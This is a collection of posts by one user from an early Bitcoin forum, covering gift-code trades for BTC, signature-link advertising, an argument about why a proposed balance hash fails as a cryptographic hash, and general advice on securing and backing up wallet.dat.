Bump. By my logic, you can get a bitcoin for $4.66 (current market value is about $5).

I'll pay 1 BTC for a Humble Frozenbyte bundle gift code. The bundle includes Frozen Synapse as well as Trine, Shadowgrounds, and preordered/prototype games. You have to pay more than the current average of $4.65 to get the bundle. My bitcoin-otc nick is theboos. PM me if interested.

I bought a gift code from Viera and it was delivered very quickly. Thanks!

I will buy a Minecraft gift code for 1 BTC. I'd be happy to use Clearcoin.

Received payment; thanks. If you give me your #bitcoin-otc nick I'll rate you.

Have kept link in signature per requirements for two weeks, requesting payout. What's your #bitcoin-otc nick?

Now doubly serious! One line must be easier to slip in than two, right?

(Are semicolons legal after import statements? I didn't bother to check)

Do you typically store chickens in baskets?

TIL. I wonder, though, why the current logo tournament has it stylized Mt. Gox.

Can this break ECDSA locks?

Read up on http://bitcoin-otc.com/

Hey, I see you've added a Tradehill referral link to your signature; would you be interested in paying .03 BTC per week to keep it in my signature as well?

I'm assuming you are asking for a cryptographic hash function because, as has been discussed, merely outputting the input is not acceptable. The Wikipedia page lists four properties of a suitable function, paraphrased here:

• The function can be computed easily
• Given an output, it is infeasible to find a matching input
• Given an input, it is infeasible to find another input with the same output
• It is infeasible to find any two inputs with the same output (birthday attack)

Your requirement that a balance of zero not be included in the hash violates the last two properties. The third property is violated because an input can be constructed from another input that has the same hash, simply by appending an account with a balance of zero. The final property is most trivially violated; any time a new (zero) balance is added, the hash is unchanged. I'll ignore these for the purpose of discussion, but I consider them alone a valid proof of the nonexistence of a cryptographic hash function, and claim the bounty.

As has been discussed, you are looking for a hash function which produces a fixed-size output, which, while not explicitly a property of a hash function, is reasonable for any practical system. Now consider the requirement that the hash can be examined to check that the total amount of currency in circulation has not changed. (I'm a bit unclear on this, I'm assuming this is what you are saying). A fixed-size output can only store a fixed amount of information. A 256-bit hash can only store 256 bits of information. The fundamental advantage of hashes like SHA is that they are destructive. You feed in an variable-length message and get a fixed-size output. Information is lost in the process so it is impossible to reconstruct the original message from its hash. As more and more inputs are added to GETTHEBLOCK_1 (more bits of information), you will eventually not be able to fit the precise allocation of funds into the hash. This is OK because all you want in the hash is a verification of the total amount of currency.

So let's consider an alternative method: addition. Forget traditional hash functions for a moment. You add the balances of every account in the system together, and take the sum as your output (if it's really critical that the output be fixed-length, pad the result appropriately). This is one of the computationally simplest hashes for any number of inputs (follows property 1). However, it is trivial to find another set of balances that have the same sum (violates properties 2, 3, and 4). Now consider the number of addresses in existence. Looking at the SourceForge download statistics page, I'm going to make a conservative estimate of 300,000 clients. Each of these clients produces 100 keypairs the first time they are started, and users will produce, on average, as a conservative estimate, 1 keypair per week. Even though zero balances are not reflected in the hash, they do have to be either added to the running total (with no change) or branched around. This makes 30 million balances that have to be added together each time a transaction is made (conservative estimate of 5 per minute), and this is still completely ignoring the private keys (which don't even need to factor into the verification). I say this violates the first property even though it runs in linear time, simply because n is very large. Also, it will be impossible to scale as more and more balances are introduced. The current model works because nodes look at a balance and a transaction, check that it is valid, and then do some SHA hashing, and then clients trust that the nodes are doing their math correctly.

Finally, who has all of the private keys in the first place? Who is computing GETTHEBLOCK_1 and how does he "securely" collect private keys?

As for GETTHEBLOCK_2, what about hash(hash(private key₁) x balance₁)+hash(hash(private key₂) x balance₂)+hash(hash(private key₃) x balance₃) and so on where + is concatenation, x is multiplication, and hash is a standard cryptographic hash function of your choosing?

Bitcoin address: 1AJnX8Rf29kw72D4L9hBBEdHmZZRMYjW6

I've made a positive and not insignificant (percent-wise) profit day-trading ~10 times per day on volatile market days. I'm not sure that HF trading would net me any more though. My MtGox client could theoretically support it, but I'm really not the person to write an AI for trading...

Someone could sell a "cloud client" that does this. However, you have to trust the provider that they won't use your Bitcoins.


Wallets should be easily importable and exportable from the GUI. However, simultaneous usage of multiple wallets would be more confusing, don't you think? The whole point of the "savings" wallet idea is that you generate an address and then send money to it periodically, but you don't need to open the wallet unless you want to send from it.


If we're assuming that people can't back up or remember a password, the current QR code implementation in Bitbills probably won't be useful. I suppose someone could just encrypt and distribute their wallet and then write their password on a piece of paper and use it as a "Bitcoin card", but then the security of all of your money is dependent on a single piece of paper.


Bitcoin banks might be an excellent business but the market doesn't exist yet. Right now most people are content to control their own money.


Who would enforce this? The US? Bitcoin is not legally considered a currency anywhere to my knowledge. The bank could in fact just take your bitcoins and not return them. There would be zero legal repercussions.


Sure, the market will decide, but this would be an easy way to steal people's bitcoins.


It seems like you're describing Paypal. It has a worldwide network, an easy to use interface, option of physical card, legal liability, and an online banking system. Apart from fees, there's no reason for anyone who can't back up or remember a password to use Bitcoin at all instead of Paypal.

I'd be interested to hear your ideas for how we might make Bitcoin secure for those who won't back up their wallet and won't remember their password without losing the decentralized aspect of Bitcoin. Bitcoin appeals to "libertarian nerds" because it gives users control over their own money. Would you give up control in exchange for security despite laziness? Use a USD bank.


Bitcoin banking of this type would be an excellent business for anyone who wants to build it. It would allow some people to give up control in exchange for security/convenience, but not force it upon all users. Though you'd still have to rely on a user remembering his or her password.

Closed-source clients have the ability to send your Bitcoins where you don't want, or simply steal your wallet.dat, but can't affect the network as a whole. Even open source miners simply hash what is handed them by a server. The vulnerability lies with a powerful pool (Deepbit for example) verifying invalid blocks and splitting the chain.

We don't ask anyone to take that risk.

This is the price of ultimately controlling your own money. Bitcoin makes it possible to store money in a single file; anyone who does not like this should not be using Bitcoin. If you are likely to forget a password, don't encrypt the file, but risk theft. If you don't want to back up a file, try your luck with the longevity of a hard drive. This entire thread is debating a security "threat" that is inherent in any system which gives you direct possession of anything.

Better idea is to widely distribute your encrypted wallet.dat (P2P file storage comes to mind) and then download it if you move to a new computer. This protects fairly well from loss but you still need to remember your password (obviously).

We can expect Joe Sixpack and Grandma to learn about computer security if they own a computer. If I buy a house, it's perfectly reasonable to expect me to learn how to lock the doors and set an alarm. I agree that Bitcoin should be made more accessible so the security skills involved in computer usage transfer over, but a sufficiently stupid user will lose his bitcoins, and that seems perfectly fair.

The essentials of Bitcoin security are:

• Wallet.dat contains your money. If someone else has it, he will be able to use your bitcoins. If you lose it, your bitcoins are gone forever. If you keep it secure, NOBODY but you will be able to use your bitcoins.
• If you encrypt wallet.dat, keep the password secure. If someone else has your password and your encrypted wallet.dat, he will be able to use your bitcoins. If you lose your password, your bitcoins are gone forever. If you keep your password secure, NOBODY but you will be able to use your bitcoins.

All else follows. If you get a virus, your wallet.dat is vulnerable. If you don't back up your wallet.dat, you won't be able to get it back. If you tell someone your password or make an easily crackable password, someone will be able to spend your bitcoins. It's our job to make the essentials of Bitcoin security obvious, but nothing more. If someone doesn't understand the basics of computer security, they shouldn't be using one in the first place.